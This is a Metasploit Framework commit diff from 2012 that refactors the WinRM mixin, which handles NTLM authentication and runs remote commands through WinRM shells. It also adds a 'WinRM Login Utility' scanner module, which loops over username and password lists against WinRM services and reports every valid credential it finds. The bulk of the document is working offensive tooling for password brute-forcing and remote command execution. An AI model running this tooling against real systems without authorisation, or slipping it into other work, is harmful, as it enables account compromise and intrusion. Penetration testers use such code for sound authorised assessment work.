Merge branch 'dmaloney-r7-WinRM_piecemeal'

This commit is contained in:
sinn3r 2012-10-27 18:55:24 -05:00
commit 7a1c3e7cf6
3 changed files with 99 additions and 67 deletions

View File

@ -8,10 +8,8 @@ require 'rex/proto/ntlm/exceptions'
module Msf
module Exploit::Remote::WinRM
include Exploit::Remote::NTLM::Client
include Exploit::Remote::HttpClient
#
# Constants
#
@ -19,20 +17,15 @@ module Exploit::Remote::WinRM
NTLM_CONST ||= Rex::Proto::NTLM::Constants
NTLM_UTILS ||= Rex::Proto::NTLM::Utils
NTLM_XCEPT ||= Rex::Proto::NTLM::Exceptions
def initialize(info = {})
super
register_options(
[
Opt::RHOST,
Opt::RPORT(5985),
OptString.new('VHOST', [ false, "HTTP server virtual host" ]),
OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]),
OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'SSL3', ['SSL2', 'SSL3', 'TLS1']]),
OptString.new('DOMAIN', [ true, 'The domain to use for Windows authentification', 'WORKSTATION']),
OptString.new('URI', [ true, "The URI of the WinRM service", "/wsman" ]),
OptString.new('USERNAME', [ false, 'A specific username to authenticate as' ]),
OptString.new('PASSWORD', [ false, 'A specific password to authenticate with' ])
OptString.new('PASSWORD', [ false, 'A specific password to authenticate with' ]),
], self.class
)
@ -45,18 +38,15 @@ module Exploit::Remote::WinRM
'uri' => datastore['URI'],
'data' => Rex::Text.rand_text_alpha(8)
}
c = connect(opts)
to = opts[:timeout] || timeout
c = connect(opts)
to = opts[:timeout] || timeout
ctype = "application/soap+xml;charset=UTF-8"
resp, c = send_request_cgi(opts.merge({
'uri' => opts['uri'],
'uri' => opts['uri'],
'method' => 'POST',
'ctype' => ctype,
'data' => opts['data']
'ctype' => ctype,
'data' => opts['data']
}), to)
return resp
end
@ -71,18 +61,15 @@ module Exploit::Remote::WinRM
def winrm_run_cmd(cmd, timeout=20)
resp,c = send_request_ntlm(winrm_open_shell_msg,timeout)
if resp.code == 401
print_error "Login failure! Recheck supplied credentials."
return resp .code
end
unless resp.code == 200
print_error "Got unexpected response: \n #{resp.to_s}"
retval == resp.code || 0
return retval
end
shell_id = winrm_get_shell_id(resp)
resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id),timeout)
cmd_id = winrm_get_cmd_id(resp)
@ -90,7 +77,6 @@ module Exploit::Remote::WinRM
streams = winrm_get_cmd_streams(resp)
resp,c = send_request_ntlm(winrm_terminate_cmd_msg(shell_id,cmd_id),timeout)
resp,c = send_request_ntlm(winrm_delete_shell_msg(shell_id))
return streams
end
@ -98,7 +84,6 @@ module Exploit::Remote::WinRM
action = winrm_uri_action("wql")
contents = winrm_header(action) + winrm_wql_body(wql)
msg = winrm_envelope(contents)
return msg
end
@ -108,7 +93,6 @@ module Exploit::Remote::WinRM
header_data = action + options
contents = winrm_header(header_data) + winrm_open_shell_body
msg = winrm_envelope(contents)
return msg
end
@ -119,7 +103,6 @@ module Exploit::Remote::WinRM
header_data = action + options + selectors
contents = winrm_header(header_data) + winrm_cmd_body(cmd)
msg = winrm_envelope(contents)
return msg
end
@ -129,7 +112,6 @@ module Exploit::Remote::WinRM
header_data = action + selectors
contents = winrm_header(header_data) + winrm_cmd_recv_body(cmd_id)
msg = winrm_envelope(contents)
return msg
end
@ -139,7 +121,6 @@ module Exploit::Remote::WinRM
header_data = action + selectors
contents = winrm_header(header_data) + winrm_terminate_cmd_body(cmd_id)
msg = winrm_envelope(contents)
return msg
end
@ -149,7 +130,6 @@ module Exploit::Remote::WinRM
header_data = action + selectors
contents = winrm_header(header_data) + winrm_empty_body
msg = winrm_envelope(contents)
return msg
end
@ -159,28 +139,23 @@ module Exploit::Remote::WinRM
rows =[]
rxml = REXML::Document.new(xml).root
items = rxml.elements["///w:Items"]
items.elements.to_a("///w:XmlFragment").each do |node|
row_data = []
node.elements.to_a.each do |sub_node|
columns << sub_node.name
row_data << sub_node.text
end
rows << row_data
end
columns.uniq!
response_data = Rex::Ui::Text::Table.new(
'Header' => "#{datastore['WQL']} (#{rhost})",
'Indent' => 1,
'Columns' => columns.uniq!
'Columns' => columns
)
rows.each do |row|
response_data << row
end
return response_data
end
@ -197,17 +172,14 @@ module Exploit::Remote::WinRM
def winrm_get_cmd_streams(response)
streams = {
'stdout' => '',
'stderr' => '',
'stderr' => '',
}
xml = response.body
rxml = REXML::Document.new(xml).root
rxml.elements.to_a("//rsp:Stream").each do |node|
next if node.text.nil?
streams[node.attributes['Name']] << Rex::Text.base64_decode(node.text)
end
return streams
end
@ -222,25 +194,20 @@ module Exploit::Remote::WinRM
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
ntlm_options =
{
:signing => false,
:usentlm2_session => datastore['NTLM::UseNTLM2_session'],
:use_ntlmv2 => datastore['NTLM::UseNTLMv2'],
:send_lm => datastore['NTLM::SendLM'],
:send_ntlm => datastore['NTLM::SendNTLM']
}
ntlm_options = {
:signing => false,
:usentlm2_session => datastore['NTLM::UseNTLM2_session'],
:use_ntlmv2 => datastore['NTLM::UseNTLMv2'],
:send_lm => datastore['NTLM::SendLM'],
:send_ntlm => datastore['NTLM::SendNTLM']
}
ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options)
workstation_name = Rex::Text.rand_text_alpha(rand(8)+1)
domain_name = datastore['DOMAIN']
ntlm_message_1 = "NEGOTIATE " + Rex::Text::encode_base64(NTLM_UTILS::make_ntlmssp_blob_init( domain_name,
workstation_name,
ntlmssp_flags))
to = opts[:timeout] || timeout
begin
c = connect(opts)
ctype = "application/soap+xml;charset=UTF-8"
@ -251,14 +218,11 @@ module Exploit::Remote::WinRM
'ctype' => ctype,
'headers' => { 'Authorization' => ntlm_message_1},
'data' => opts['data']
}))
}))
resp = c.send_recv(r, to)
unless resp.kind_of? Rex::Proto::Http::Response
return [nil,nil]
end
return [nil,nil] if resp.code == 404
return [nil,nil] unless resp.code == 401 && resp.headers['WWW-Authenticate']
# Get the challenge and craft the response
@ -293,7 +257,6 @@ module Exploit::Remote::WinRM
ntlm_message_3 = NTLM_UTILS.make_ntlmssp_blob_auth(domain_name, workstation_name, opts['username'],
resp_lm, resp_ntlm, '', ntlmssp_flags)
ntlm_message_3 = Rex::Text::encode_base64(ntlm_message_3)
# Send the response
r = c.request_cgi(opts.merge({
'uri' => opts['uri'],
@ -302,13 +265,10 @@ module Exploit::Remote::WinRM
'headers' => { 'Authorization' => "NEGOTIATE #{ntlm_message_3}"},
'data' => opts['data']
}))
resp = c.send_recv(r, to, true)
unless resp.kind_of? Rex::Proto::Http::Response
return [nil,nil]
end
return [nil,nil] if resp.code == 404
return [resp,c]
rescue ::Errno::EPIPE, ::Timeout::Error
@ -324,7 +284,6 @@ module Exploit::Remote::WinRM
if rport == 5986 or datastore['SSL']
proto = "https"
end
if datastore['VHOST']
return "#{proto}://#{datastore ['VHOST']}:#{rport}#{@uri.to_s}"
else
@ -332,17 +291,13 @@ module Exploit::Remote::WinRM
end
end
private
def winrm_option_set(options)
xml = "<w:OptionSet>"
options.each do |option_pair|
xml << winrm_option(*option_pair)
end
xml << "</w:OptionSet>"
return xml
end
@ -353,11 +308,9 @@ module Exploit::Remote::WinRM
def winrm_selector_set(selectors)
xml = "<w:SelectorSet>"
selectors.each do |selector_pair|
xml << winrm_selector(*selector_pair)
end
xml << "</w:SelectorSet>"
return xml
end

View File

@ -52,9 +52,9 @@ class Metasploit3 < Msf::Auxiliary
:name => 'winrm',
:info => desc
)
print_good "Negotiate protocol supported" if methods.include? "Negotiate"
print_good "Kerberos protocol supported" if methods.include? "Kerberos"
print_good "Basic protocol supported" if methods.include? "Basic"
print_good "#{ip}:#{rport}: Negotiate protocol supported" if methods.include? "Negotiate"
print_good "#{ip}:#{rport}: Kerberos protocol supported" if methods.include? "Kerberos"
print_good "#{ip}:#{rport}: Basic protocol supported" if methods.include? "Basic"
else
print_error "#{ip}:#{rport} Does not appear to be a WinRM server"
end

View File

@ -0,0 +1,79 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex/proto/ntlm/message'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::WinRM
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'WinRM Login Utility',
'Version' => '$Revision$',
'Description' => %q{
This module attempts to authenticate to a WinRM service. It currently
works only if the remote end allows Negotiate(NTLM) authentication.
Kerberos is not currently supported.
},
'Author' => [ 'thelightcosine' ],
'References' =>
[
[ 'CVE', '1999-0502'] # Weak password
],
'License' => MSF_LICENSE
)
end
def run_host(ip)
unless accepts_ntlm_auth
print_error "The Remote WinRM server (#{ip} does not appear to allow Negotiate(NTLM) auth"
return
end
each_user_pass do |user, pass|
resp,c = send_request_ntlm(test_request)
if resp.nil?
print_error "#{ip}:#{rport}: Got no reply from the server, connection may have timed out"
return
elsif resp.code == 200
cred_hash = {
:host => ip,
:port => rport,
:sname => 'winrm',
:pass => pass,
:user => user,
:source_type => "user_supplied",
:active => true
}
report_auth_info(cred_hash)
print_good "#{ip}:#{rport}: Valid credential found: #{user}:#{pass}"
elsif resp.code == 401
print_error "#{ip}:#{rport}: Login failed: #{user}:#{pass}"
else
print_error "Recieved unexpected Response Code: #{resp.code}"
end
end
end
def test_request
data = winrm_wql_msg("Select Name,Status from Win32_Service")
end
end